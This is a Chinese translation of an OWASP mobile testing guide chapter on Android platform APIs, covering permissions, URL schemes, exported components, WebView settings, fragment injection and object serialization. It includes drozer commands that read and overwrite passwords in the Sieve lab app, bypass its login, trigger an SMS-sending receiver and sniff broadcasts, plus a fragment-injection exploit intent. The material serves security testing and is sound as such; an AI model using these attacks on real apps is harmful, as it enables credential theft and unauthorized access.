美文网首页
渗透测试-Android平台API

渗透测试-Android平台API

作者: Ireliaaa | 来源:发表于2018-07-12 16:27 被阅读0次

    翻译自:https://github.com/OWASP/owasp-mstg/blob/master/Document/0x05h-Testing-Platform-Interaction.md#testing-webview-protocol-handlers

    测试APP权限

    overview

    每个Android app在一个进程沙箱中活动,app必须明确申请沙箱外的资源和数据。访问请求通过声明他们需要的使用系统数据和特征的权限。基于数据和特征的敏感关键程度,系统会自动授权或者询问用户批准请求。

    基于提供的保护程度,权限分为四个种类:

    • Normal:对其他应用、用户、系统风险小,在安装应用时授权。是默认的权限。
    • Dangrous:这类权限往往掌控用户数据和以影响用户的方式控制设备。这类权限可能不会在安装时被授权,app是否能获得权限会遵循用户的决定。
    • Signature:只有在请求app与申明这项权限的app签名相同时,才能被授予。如果签名匹配,自动授予权限。
    • SystemOrSignature:只授权给嵌入系统镜像中的应用程序,或者与声明权限相同的应用程序签名一致。

    自定义权限

    Android允许app向其他app暴露组件,定制权限在app访问暴露组件时需要。可以在manifest.xml文件中使用两个强制属性创建标签:

    • android:name
    • android:protectionLevel

    依据最小权限原则,创建自定义权限是非常关键的:权限应该按照目的,用有意义和精确的标签和描述显式定义。

    下面是一个自定义权限START_MAIN_ACTIVITY的例子,在启动TEST_ACTIVITY活动时需要。

    <permission android:name="com.example.myapp.permission.START_MAIN_ACTIVITY"
            android:label="Start Activity in myapp"
            android:description="Allow the app to launch the activity of myapp app, any app you grant this permission will be able to launch main activity by myapp app."
            android:protectionLevel="normal" />
    
    <activity android:name="TEST_ACTIVITY"
        android:permission="com.example.myapp.permission.START_MAIN_ACTIVITY">
        <intent-filter>
            <action android:name="android.intent.action.MAIN" />
            <category android:name="android.intent.category.LAUNCHER"/>
         </intent-filter>
    </activity>
    
    

    任何声明了START_MAIN_ACTIVITY权限的app都可以启动这个活动,通过user-permission标签请求:

    <uses-permission android:name="com.example.myapp.permission.START_MAIN_ACTIVITY"/>
    
    

    静态分析

    Android 权限

    检查是否需要这些权限,去除不必要的权限。

    仔细检查权限,与开发者劝人每一个权限的目的,去除不必要的权限。

    除了分析AndroidManifest.xml文件外,可以使用工具aapt:

    $ aapt d permissions com.owasp.mstg.myapp
    uses-permission: android.permission.WRITE_CONTACTS
    uses-permission: android.permission.CHANGE_CONFIGURATION
    uses-permission: android.permission.SYSTEM_ALERT_WINDOW
    uses-permission: android.permission.INTERNAL_SYSTEM_WINDOW
    
    

    定制权限

    除了通过应用程序清单文件强制执行定制权限之外,还可以通过编程方式检查权限。但是,这是不推荐的,因为它更容易出错,并且可以更容易地绕过它,例如,运行时插装。当看到像下面的代码片段这样的代码时,请确保在manifest文件中强制执行相同的权限。

    int canProcess = checkCallingOrSelfPermission("com.example.perm.READ_INCOMING_MSG");
    if (canProcess != PERMISSION_GRANTED)
    throw new SecurityException();
    
    

    动态分析

    已经安装的应用的权限可以由drozer获得

    dz> run app.package.info  -a com.android.mms.service
    Package: com.android.mms.service
      Application Label: MmsService
      Process Name: com.android.phone
      Version: 6.0.1
      Data Directory: /data/user/0/com.android.mms.service
      APK Path: /system/priv-app/MmsService/MmsService.apk
      UID: 1001
      GID: [2001, 3002, 3003, 3001]
      Shared Libraries: null
      Shared User ID: android.uid.phone
      Uses Permissions:
      - android.permission.RECEIVE_BOOT_COMPLETED
      - android.permission.READ_SMS
      - android.permission.WRITE_SMS
      - android.permission.BROADCAST_WAP_PUSH
      - android.permission.BIND_CARRIER_SERVICES
      - android.permission.BIND_CARRIER_MESSAGING_SERVICE
      - android.permission.INTERACT_ACROSS_USERS
      Defines Permissions:
      - None
    
    

    测试自定义url

    Android允许app之间通过自定义URL方案交流,这些自定义的URL允许其他应用在提供自定义URL方案的应用中执行特定的行为。自定义的URI能从任何方案的前缀开始,他们一般定义动作在应用和参数中执行。

    考虑如下设计的例子:sms://compose/to=your.boss@company.com&message=I%20QUIT!&sendImmediately=true,当一个受害者在手机上点击这个链接时,有漏洞的SMS应用会发送包含恶意内容的短信。这可能造成:

    • 钱财丢失
    • 手机号码暴露

    一旦一个URL方案被定义,多个app能注册所有可能的方案。对于每个应用,每个这种自定义URL方案必须遍历,执行的行为必须测试。

    URL方案可以用于深度连接,这是一种通过连接启动原生移动应用的广泛而便捷的方法,他本身是没有风险。

    然而,通过URL方案的数据必须验证。

    静态分析

    检查自定义URL方案是否被定义。在androidmanifest.xml文件中的intentfilter元素中。

    <activity android:name=".MyUriActivity">
      <intent-filter>
          <action android:name="android.intent.action.VIEW" />
          <category android:name="android.intent.category.DEFAULT" />
          <category android:name="android.intent.category.BROWSABLE" />
          <data android:scheme="myapp" android:host="path" />
      </intent-filter>
    </activity>
    
    

    这个例子中方案叫做myapp://。这个category允许URI用浏览器打开。

    数据能通过新的方案传播,比如,下列URI:myapp://path/to/what/i/want?keyOne=valueOne&keyTwo=valueTwo,通过以下代码恢复数据:

    Intent intent = getIntent();
    if (Intent.ACTION_VIEW.equals(intent.getAction())) {
      Uri uri = intent.getData();
      String valueOne = uri.getQueryParameter("keyOne");
      String valueTwo = uri.getQueryParameter("keyTwo");
    }
    
    

    动态分析

    通过Drozer模块scanner.activity.browsable遍历app中的URL方案:

    dz> run scanner.activity.browsable -a com.google.android.apps.messaging
    Package: com.google.android.apps.messaging
      Invocable URIs:
        sms://
        mms://
      Classes:
        com.google.android.apps.messaging.ui.conversation.LaunchConversationActivity
    
    

    可以使用Drozer模块中app.activity.start调用自定义URL模型

    dz> run app.activity.start  --action android.intent.action.VIEW --data-uri "sms://0123456789"
    
    

    调用自定义方案(myapp://someaction/?var0=string&var1=string)模块可能被用来发送数据给app:

    Intent intent = getIntent();
    if (Intent.ACTION_VIEW.equals(intent.getAction())) {  
        Uri uri = intent.getData();  
        String valueOne = uri.getQueryParameter("var0");  
        String valueTwo = uri.getQueryParameter("var1");
    }
    
    

    测试通过IPC暴露

    在实现移动应用程序的过程中,开发人员可以应用传统的IPC技术(例如使用共享文件或网络套接字)。应该使用移动应用程序平台提供的IPC系统功能,因为它比传统技术要成熟得多。使用没有安全性的IPC机制可能会导致应用程序泄漏或暴露敏感数据。

    下面是一个可能公开敏感数据的Android IPC机制列表:

    静态分析

    所有的组件必须在AndroidManifest.xml中声明,只有Broadcast receivers可以动态创建。

    暴露的组件可以被其他应用访问,暴露组件有两种方式:

    • 导出标签设置android:exported="ture"
    • 定义在组件中定义<intent-filter>就会默认导出标签为true。

    如果要限制其他应用的访问,在组件中声明了android:permission,设置合适的android:protectionLever。如果在service中声明了android:permission,其他app想要访问必须在manifest文件中声明一个相对应的<user-permission>

    一旦识别了一个IPC列表,查看源代码,检查当机制使用时,敏感数据是否泄漏。

    下面是两个例子:

    Activity

    检查AndroidManifest

    检查源代码

    通过检查PWList.javaacitivty,可以看到它提供了列举关键字、添加、删除选项等。如果直接调用,就可以绕过LoginActivity。更多可以在动态分析中找到。

    Services

    检查Manifest文件

    在"Sieve"app中,有两个导出的service:

    <service android:exported="true" android:name=".AuthService" android:process=":remote"/>
    <service android:exported="true" android:name=".CryptoService" android:process=":remote"/>
    
    

    检查源代码

    搜索源代码的字符串,比如sendBroadcast,sendOrderedBroadcast, 和 sendStickyBroadcast. 确保应用没有发送任何敏感数据。

    如果一个intent只在应用内部广播和接收,应该使用LocalBroadcastManager限制其他应用接收广播的消息。这减少了信息泄露的风险。

    为了更好的理解接受者要做什么,我们必须深入静态分析类 android.content.BroadcastReceiverContext.registerReceiver (动态创建接受者) 的使用。

    下面提取目标的源代码,显示了广播接收者触发包括用户解密口令的SMS的转发。

    public class MyBroadCastReceiver extends BroadcastReceiver {
      String usernameBase64ByteString;
      public static final String MYPREFS = "mySharedPreferences";
    
      @Override
      public void onReceive(Context context, Intent intent) {
        // TODO Auto-generated method stub
    
            String phn = intent.getStringExtra("phonenumber");
            String newpass = intent.getStringExtra("newpass");
    
        if (phn != null) {
          try {
                    SharedPreferences settings = context.getSharedPreferences(MYPREFS, Context.MODE_WORLD_READABLE);
                    final String username = settings.getString("EncryptedUsername", null);
                    byte[] usernameBase64Byte = Base64.decode(username, Base64.DEFAULT);
                    usernameBase64ByteString = new String(usernameBase64Byte, "UTF-8");
                    final String password = settings.getString("superSecurePassword", null);
                    CryptoClass crypt = new CryptoClass();
                    String decryptedPassword = crypt.aesDeccryptedString(password);
                    String textPhoneno = phn.toString();
                    String textMessage = "Updated Password from: "+decryptedPassword+" to: "+newpass;
                    SmsManager smsManager = SmsManager.getDefault();
                    System.out.println("For the changepassword - phonenumber: "+textPhoneno+" password is: "+textMessage);
    smsManager.sendTextMessage(textPhoneno, null, textMessage, null, null);
    
    

    广播接受者应该使用android:permission属性,否则,其他应用能调用他们。可以使用Context.sendBroadcast(intent, receiverPermission); 明确一个接收者必须拥有什么权限来获取广播。

    也可以设置一个显式应用包名限制处理这个intent的组件。如果属性默认,所有应用的组件都可以访问。如果不空,intent可以匹配给定应用包的组件。

    动态分析

    用Drozer遍历组件,模块app.package.attacksurface:

    dz> run app.package.attacksurface com.mwr.example.sieve
    Attack Surface:
      3 activities exported
      0 broadcast receivers exported
      2 content providers exported
      2 services exported
        is debuggable
    
    

    content providers

    Sieve应用包含一个由漏洞的content provider,列举暴露的内容提供器:

    dz> run app.provider.finduri com.mwr.example.sieve
    Scanning com.mwr.example.sieve...
    content://com.mwr.example.sieve.DBContentProvider/
    content://com.mwr.example.sieve.FileBackupProvider/
    content://com.mwr.example.sieve.DBContentProvider
    content://com.mwr.example.sieve.DBContentProvider/Passwords/
    content://com.mwr.example.sieve.DBContentProvider/Keys/
    content://com.mwr.example.sieve.FileBackupProvider
    content://com.mwr.example.sieve.DBContentProvider/Passwords
    content://com.mwr.example.sieve.DBContentProvider/Keys
    
    

    "password"和"key"命名的内容提供器是信息泄露最可疑的。

    dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys
    Permission Denial: reading com.mwr.example.sieve.DBContentProvider uri content://com.mwr.example.sieve.DBContentProvider/Keys from pid=4268, uid=10054 requires com.mwr.example.sieve.READ_KEYS, or grantUriPermission()
    
    
    dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/
    | Password          | pin  |
    | SuperPassword1234 | 1234 |
    
    

    这个内容提供器不需要访问权限:

    dz> run app.provider.update content://com.mwr.example.sieve.DBContentProvider/Keys/ --selection "pin=1234" --string  Password "newpassword"
    dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/
    | Password    | pin  |
    | newpassword | 1234 |
    
    

    Actiity

    用模块app.activity.info列举暴露的activity。明确目标包用-a或者忽略这个选项以设备上的所有app为目标

    dz> run app.activity.info -a com.mwr.example.sieve
    Package: com.mwr.example.sieve
      com.mwr.example.sieve.FileSelectActivity
        Permission: null
      com.mwr.example.sieve.MainLoginActivity
        Permission: null
      com.mwr.example.sieve.PWList
        Permission: null  
    
    

    遍历Sieve的所有活动,com.mwr.example.sieve.PWList不需要任何权限导出。可以使用模块 app.activity.start 启动这个activity。

    dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
    
    

    因为这个活动可以直接调用,所以用登录保护的管理就会被绕过。

    service

    遍历模块app.service.info:

    dz> run app.service.info -a com.mwr.example.sieve
    Package: com.mwr.example.sieve
      com.mwr.example.sieve.AuthService
        Permission: null
      com.mwr.example.sieve.CryptoService
        Permission: null
    
    

    先使用静态分析来识别需要的输入,然后与service通信。

    app.service.send 与service通信,更改目标应用中存储的密码:

    dz> run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg  6345 7452 1 --extra string com.mwr.example.sieve.PASSWORD "abcdabcdabcdabcd" --bundle-as-obj
    Got a reply from com.mwr.example.sieve/com.mwr.example.sieve.AuthService:
      what: 4
      arg1: 42
      arg2: 0
      Empty
    
    

    broadcast receivers

    遍历模块 app.broadcast.info,目标用-a参数:

    dz> run app.broadcast.info -a com.android.insecurebankv2
    Package: com.android.insecurebankv2
      com.android.insecurebankv2.MyBroadCastReceiver
        Permission: null
    
    

    用Drozer模块app.broadcast.send ,我们可以定制一个intent来触发广播并发送密码给手机号码

    dz>  run app.broadcast.send --action theBroadcast --extra string phonenumber 07123456789 --extra string newpass 12345
    
    

    嗅探intent

    如果广播intents没有设置需要的权限或者明确目的包,这个intent会被设备上的所有device监视。

    注:AcitivityManageService,简称AMS的intent分发机制,只把intent发送给匹配的intent-filter

    登记一个broadcast receiver嗅探itent,使用Drozer模块 app.broadcast.sniff ,用参数--action 表示监视的动作:

    dz> run app.broadcast.sniff  --action theBroadcast
    [*] Broadcast receiver registered to sniff matching intents
    [*] Output is updated once a second. Press Control+C to exit.
    
    Action: theBroadcast
    Raw: Intent { act=theBroadcast flg=0x10 (has extras) }
    Extra: phonenumber=07123456789 (java.lang.String)
    Extra: newpass=12345 (java.lang.String)
    
    

    测试WebView中的JavaScript执行

    overview

    JavaScript可以通过反射、存储或者基于DOM 的xss注入到web应用中。移动应用在沙箱环境中执行,并且在本地实现时不会有这种漏洞。尽管如此,webview可能允许网页浏览作为原生应用的一部分。每个应有有自己的Webview缓存,它不会与原生浏览器或者其他应用共享。在Android上,webview使用webkit渲染引擎来显示网页,但是页面被精简到最小的功能。例如,页面没有地址栏。如果WebView的实现太过于宽松,并且允许使用JavaScript,那么他就可以用来攻击应用程序并访问它的数据。

    静态分析

    检查源代码中的WebView类使用和执行。创建和使用一个WebView,必须创建一个WebView实例。

    WebView webview = new WebView(this);
    setContentView(webview);
    webview.loadUrl("https://www.owasp.org/");
    
    

    JavaScript必须显示地确认。查找方法 setJavaScriptEnabled 检查JavaScript的激活。

    webview.getSettings().setJavaScriptEnabled(true);
    
    

    这使得WebView解释JavaScript。还有在有必要的时候用它来减少app的攻击面。如果JavaScript是必须的,你应该确定:

    • 断电的通信始终依赖于HTTPS(或者其他允许加密的协议)来保护HTML和JavaScript在传输过程中不被篡改。
    • JavaScript和HTML在本地加载时,是来自app数据目录或者可信web服务器

    当app关闭时,去除所有JavaScript资源代码和本地存储数据,用clearCache()清除WebView的cache。

    在Android 4.4以下版本的设备上运行时,会使用一个由一些安全问题的WebKit。作为一种变通方法,该应用必须确认,如果应用在这些设备上运行,WebView对象只显示可信内容。

    动态检测

    动态检测依赖于操作环节,这是一些向WebView中注入JavaScript的方法:

    • 在端点有存储xxs漏洞,当用户导航到易受攻击的功能时,该漏洞将被发送到移动应用的WebView。
    • 攻击者获得中间人位置,通过注入JavaScript篡改应答。
    • 恶意应用篡改webView加载的本地文件

    要处理这些中间向量,检查:

    • 端点提供的所有功能应该避免存储xss
    • 只有在数据目录的文件能被WebView呈现
    • HTTP必须根据最佳实践实现HTTPS通信,以避免中间人攻击。这以为着:
      • 所有通信通过TLS加密
      • 正确检测所有证书(参加测试用例“测试端点识别验证”)
      • 证书应该被固定(参见“测试定制证书存储和SSL固定”)

    测试WebView协议处理

    overview

    一些默认URL方案 可用,他们可以在WebView中触发,通过以下例子:

    • http(s)://
    • file://
    • tel://

    WebView能从一个端点加载远程内容,但是他们也能从app数据目录和外部存储加载。如果本地内容加载,用户不应该影响文件名或者用来加载的路径,用户应该不能编辑加载文件。

    静态分析

    检查使用WebView的源代码,WebView控制资源访问设置如下:

    • setAllowContentAccess :允许WebView从安装在系统中的content provider加载内容,默认启用。
    • setAllowFileAccess:在WebView中启用或禁止文件访问。文件访问默认开启,注意这知识启用和禁止访问文件系统。asset和资源不熟应用,可以通过file:///android_assetfile:///android_res访问。
    • setAllowFileAccessFromFileURLs :是否允许JavaScript在文件模式URL的上下文中运行,以访问文件模式URLs中的内容。API 15 及以下默认true,API16及以上 默认false。
    • setAllowUniversalAccessFromFileURLs:是否允许JavaScript在文件模式URL的上下文中运行,以访问来自任何来源的内容。API 15 及以下默认true,API16及以上 默认false。

    如果以上一个或多个方法是启用的,应该确定这些方法是否对正常的工作有必要。

    如果一个WebView实例被识别,查出本地文件是否被方法loadURL() 加载。

    WebView = new WebView(this);
    webView.loadUrl("file:///android_asset/filename.html");
    
    

    HTML文件加载的地址必须被验证。如果文件从外部存储中加载,比如,文件可以被所有人读和写。这是一种不好的做法,文件应该放在app的assets目录中。

    webview.loadUrl("file:///" +
    Environment.getExternalStorageDirectory().getPath() +
    "filename.html");
    
    

    在loadURL中指定的URL应该检查可以被操纵的动态参数;他们的操纵可能导致本地文件被包含。

    如果适用的话,可以使用下面的代码片段和最佳实践来禁用协议处理程序:

    // 如果攻击者能向WebView注入脚本,他们可以访问本地资源。这可以通过禁用本地文件系统访问限制这种攻击,默认是启用的。
    webView.getSettings().setAllowFileAccess(false);
    
    webView.getSettings().setAllowFileAccessFromFileURLs(false);
    
    webView.getSettings().setAllowUniversalAccessFromFileURLs(false);
    
    webView.getSettings().setAllowContentAccess(false);
    
    

    动态检测

    为了识别协议处理程序的用法,在使用该应用程序时,寻找触发电话调用的方法,以及从文件系统访问文件的方法。

    检查java类是否通过WebView暴露

    overview

    Android为JavaScript提供一种方法addJavascriptInterface. 可以在WebView中执行调用app原生功能。

    这个方法允许向WebView暴露Java Objects。当你在app中使用这种方法时,可以调用app原生方法。

    在Android4.2(API 17)之前,在执行addJavascriptInterface:时发现一个漏洞 :当恶意JavaScript脚本注射到WebView中,导致远程代码执行。

    这个漏洞在4.2版本中修复,访问Java类方法的授权改变。当使用addJavascriptInterface,添加@JavascriptInterface注释,java类方法只能被JavaScript访问。之前的版本,默认所有类方法都能被访问。

    静态分析

    检查方法是否被使用,怎么使用,攻击者能否注入恶意JavaScript

    下面的例子展示addJavascriptInterface 如何用来连接java类和WebView中的JavaScript

    WebView webview = new WebView(this);
    WebSettings webSettings = webview.getSettings();
    webSettings.setJavaScriptEnabled(true);
    
    MSTG_ENV_008_JS_Interface jsInterface = new MSTG_ENV_008_JS_Interface(this);
    
    myWebView.addJavascriptInterface(jsInterface, "Android");
    myWebView.loadURL("http://example.com/file.html");
    setContentView(myWebView);
    
    

    API 17以上,使用注释JavascriptInterface 显示允许JavaScript访问Java方法。

    public class MSTG_ENV_008_JS_Interface {
    
            Context mContext;
    
            /** Instantiate the interface and set the context */
            MSTG_ENV_005_JS_Interface(Context c) {
                mContext = c;
            }
    
            @JavascriptInterface
            public String returnString () {
                return "Secret String";
            }
    
            /** Show a toast from the web page */
            @JavascriptInterface
            public void showToast(String toast) {
                Toast.makeText(mContext, toast, Toast.LENGTH_SHORT).show();
            }
    }
    
    

    如果注释 @JavascriptInterface 在方法中定义,方法就能被JavaScript调用。

    调用returnString方法获取返回值,返回值存储在参数 result

    var result = window.Android.returnString();
    
    

    通过访问JavaScript代码,存储型XXS或者中间人攻击,攻击者直接调用暴露的Java方法。

    动态分析

    写一个JavaScript payload ,注入到app文件中。注入可以通过MITM攻击或者直接修改外部存储中的文件。整个过程可以通过Drozer和weasel完成。

    MWR的博客中 有完整的攻击描述。

    测试Fragment注入

    overview

    SDK为开发者提供了一种展示Preference activity的方法,允许开发者继承和改编抽象类。

    抽象类分析一个intent额外的数据域,特别是,PreferenceActivity.EXTRA_SHOW_FRAGMENT(:android:show_fragment)PreferenceActivity.EXTRA_SHOW_FRAGMENT_ARGUMENTS(:android:show_fragment_arguments)

    第一个域需要包含一个Fragment 类名,第二个需要包含传递给Fragment的输入的bundle。

    因为PreferenceActivity使用反射加载fragment,所以一个任意的类可能会被加载到包或Android SDK中。 加载的类在导出这个activity的应用的上下文中执行。

    有了这个漏洞攻击者可以在目的应用中调用fragment,或者执行其他类的构造函数中的代码。任何在intent中传递的、不扩展Fragment的类会造成java.lang.CastException 。但是在异常抛出之前,空的构造函数会被执行,允许在类构造函数中出现的代码运行 。

    为了限制这个漏洞,isValidFragment被添加到Android 4.4 KitKat(API Level 19)。允许开发者重写这些方法并且定义可能会被用到的fragment

    在Android 4.4 KitKat(API Level 19)默认执行返回true,抛出异常。

    静态分析

    步骤:

    • 找到包minSDKVersion确定类行为
    • 找到集成PreferenceActivity的暴露组件
    • isValidFragment有没有被重写

    继承的例子:

    public class MyPreferences extends PreferenceActivity {
        @Override
        protected void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
    
    

    重写isValidFragment方法,只允许MyPreferenceFragment的加载:

    @Override
    protected boolean isValidFragment(String fragmentName)
    {
    return "com.fullpackage.MyPreferenceFragment".equals(fragmentName);
    }
    
    

    有漏洞的app和利用

    MainActivity.class

    public class MainActivity extends PreferenceActivity {
        protected void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
        }
    }
    
    

    MyFragment.class

    public class MyFragment extends Fragment {
        public void onCreate (Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
        }
        public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
            View v = inflater.inflate(R.layout.fragmentLayout, null);
            WebView myWebView = (WebView) wv.findViewById(R.id.webview);
            myWebView.getSettings().setJavaScriptEnabled(true);
            myWebView.loadUrl(this.getActivity().getIntent().getDataString());
            return v;
        }
    }
    
    

    利用这个漏洞,创建一个应用:

    Intent i = new Intent();
    i.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
    i.setClassName("pt.claudio.insecurefragment","pt.claudio.insecurefragment.MainActivity");
    i.putExtra(":android:show_fragment","pt.claudio.insecurefragment.MyFragment");
    Intent intent = i.setData(Uri.parse("https://security.claudio.pt"));
    startActivity(i);
    
    

    Vulnerable AppExploit PoC App 下载

    测试类持久化

    overview

    在Android上持久化一个对象有几种方法:

    对象序列化

    对象及其数据可以表示为字节序列。这是通过对象串行化在Java中完成的。串行化并不是固有的安全。它只是在.ser文件中本地存储数据的二进制格式(或表示)。只要密钥是安全存储的,就可以对hmac-序列化数据进行加密和签名。反序列化一个对象需要一个与用来序列化对象的类相同的类。在类被更改之后,ObjectInputStream无法从较老的.ser文件中创建对象。下面的例子展示了如何通过实现Serializable接口来创建可序列化的类。

    import java.io.Serializable;
    
    public class Person implements Serializable {
      private String firstName;
      private String lastName;
    
      public Person(String firstName, String lastName) {
        this.firstName = firstName;
        this.lastName = lastName;
        }
      //..
      //getters, setters, etc
      //..
    
    }
    
    

    现在可以通过 ObjectInputStream/ObjectOutputStream 在另一个类中读写了。

    JSON

    有几种方法可以将对象的内容序列化为JSON。Android附带了JSONObject和JSONArray类。也可以使用包括GSON或Jackson在内的各种各样的库。库之间的主要区别在于,它们是否使用反射来组合对象,是否支持注释,以及它们使用的内存数量。请注意,几乎所有的JSON表示都是基于字符串的,因此是不可变的。这意味着任何存储在JSON中的秘密都将更难从内存中删除。JSON本身可以存储在任何地方,例如,一个(NoSQL)数据库或一个文件。您只需要确保包含机密的任何JSON都得到了适当的保护(例如,加密/hmaced)。有关更多细节,请参阅数据存储章节。下面是一个简单的例子(来自GSON用户指南),使用GSON来编写和读取JSON。在这个例子中,bagof原语的一个实例的内容被序列化成JSON:

    class BagOfPrimitives {
      private int value1 = 1;
      private String value2 = "abc";
      private transient int value3 = 3;
      BagOfPrimitives() {
        // no-args constructor
      }
    }
    
    // Serialization
    BagOfPrimitives obj = new BagOfPrimitives();
    Gson gson = new Gson();
    String json = gson.toJson(obj);  
    
    // ==> json is {"value1":1,"value2":"abc"}
    
    

    orm

    有一些库提供了直接在数据库中存储对象内容的功能,然后用数据库内容实例化对象。这被称为对象关系映射(ORM)。使用SQLite数据库的库包括 :

    Realm 另一方面,领域使用自己的数据库来存储类的内容。ORM所能提供的保护数量主要取决于数据库是否被加密。有关更多细节,请参阅数据存储章节。Realm网站包含了一个很好的 example of ORM Lite.

    Parcelable

    可分配的是一个类的接口,它的实例可以被写入并从包裹中恢复。 包裹通常被用来包装一个类作为一个包的一部分。 下面是一个实现可分配的Android开发者文档示例:

    public class MyParcelable implements Parcelable {
         private int mData;
    
         public int describeContents() {
             return 0;
         }
    
         public void writeToParcel(Parcel out, int flags) {
             out.writeInt(mData);
         }
    
         public static final Parcelable.Creator<MyParcelable> CREATOR
                 = new Parcelable.Creator<MyParcelable>() {
             public MyParcelable createFromParcel(Parcel in) {
                 return new MyParcelable(in);
             }
    
             public MyParcelable[] newArray(int size) {
                 return new MyParcelable[size];
             }
         };
    
         private MyParcelable(Parcel in) {
             mData = in.readInt();
         }
     }
    
    

    静态分析

    如果对象持久性被用于在设备上存储敏感信息,首先要确保信息是加密的,并且是signe/hmaced。有关更多细节,请参阅数据存储和加密管理的章节。接下来,确保只有在用户经过身份验证之后才能获得解密和验证密钥。安全检查应该在正确的位置进行,就像在最佳实践中所定义的那样。

    有一些通用的补救步骤,你可以一直这样做:

    1. 确保敏感数据已被加密,并在序列化/持久性之后签署。在使用数据之前评估签名或HMAC。有关密码学的章节,请参阅相关章节。
    2. 确保步骤1中使用的键不能很容易地提取。用户和/或应用程序实例应该被正确地验证/授权以获得密钥。有关更多细节,请参阅数据存储章节。
    3. 确保在被积极使用之前,要仔细验证反序列化对象中的数据(例如,不使用业务/应用程序逻辑)。

    对于关注可用性的高风险应用程序,我们建议只有当序列化的类是稳定的时才使用Serializable。 其次,我们建议不要使用基于反射的持久性,因为:

    1. 攻击者可以通过基于字符串的参数找到方法的签名
    2. 攻击者可能能够操纵基于反射的步骤来执行业务逻辑。

    Object Serialization

    寻找字符串:

    • import java.io.Serializable
    • implements Serializable

    JSON

    如果您需要对抗内存转储,请确保非常敏感的信息不会以JSON格式存储,因为您不能保证使用标准库来防止反内存转储技术。 JSONObject您可以在相应的库中检查下列关键字:

    • import org.json.JSONObject;
    • import org.json.JSONArray;

    GSON 查找关键字:

    • import com.google.gson
    • import com.google.gson.annotations
    • import com.google.gson.reflect
    • import com.google.gson.stream
    • new Gson();
    • Annotations such as @Expose, @JsonAdapter, @SerializedName,@Since, and @Until

    Jackson 查找关键字:

    • import com.fasterxml.jackson.core
    • import org.codehaus.jackson for the older version.

    ORM

    当您使用ORM库时,请确保数据存储在一个加密的数据库中,并且在存储之前,类表示是单独加密的。 有关更多细节,请参阅数据存储和加密管理的章节。 OrmLite 可以在相应的库中检查下列关键字:

    • import com.j256.*
    • import com.j256.dao
    • import com.j256.db
    • import com.j256.stmt
    • import com.j256.table\

    请确保日志是禁用的。

    SugarORM 关键字:

    • import com.github.satyan
    • extends SugarRecord<Type>
    • In the AndroidManifest, there will be meta-data entries with values such as DATABASE, VERSION, QUERY_LOG and DOMAIN_PACKAGE_NAME.

    确保 QUERY_LOG 禁用

    GreenDAO 关键字:

    • import org.greenrobot.greendao.annotation.Convert
    • import org.greenrobot.greendao.annotation.Entity
    • import org.greenrobot.greendao.annotation.Generated
    • import org.greenrobot.greendao.annotation.Id
    • import org.greenrobot.greendao.annotation.Index
    • import org.greenrobot.greendao.annotation.NotNull
    • import org.greenrobot.greendao.annotation.*
    • import org.greenrobot.greendao.database.Database
    • import org.greenrobot.greendao.query.Query

    ActiveAndroid 关键字:

    • ActiveAndroid.initialize(<contextReference>);
    • import com.activeandroid.Configuration
    • import com.activeandroid.query.*

    Realm 关键字:

    • import io.realm.RealmObject;
    • import io.realm.annotations.PrimaryKey;

    Parcelable

    当敏感信息通过包含一个可分配的包的包中存储时,请确保采取适当的安全措施。使用显式的intent,并在使用应用程序级IPC时验证适当的附加安全控制(例如,签名验证、int权限、加密)。

    动态分析

    有几种方法可以执行动态分析:

    对于实际的持久性:使用数据存储章节中描述的技术。 对于基于反射的方法:使用xposed来hook反序列化方法,或者向序列化的对象添加不可处理的信息,以查看它们是如何处理的(例如,应用程序崩溃还是通过丰富对象可以提取额外的信息)。

    Reference

    翻译自:https://github.com/OWASP/owasp-mstg/blob/master/Document/0x05h-Testing-Platform-Interaction.md#testing-webview-protocol-handlers

    相关文章

      网友评论

          本文标题:渗透测试-Android平台API

          本文链接:https://www.haomeiwen.com/subject/qysrpftx.html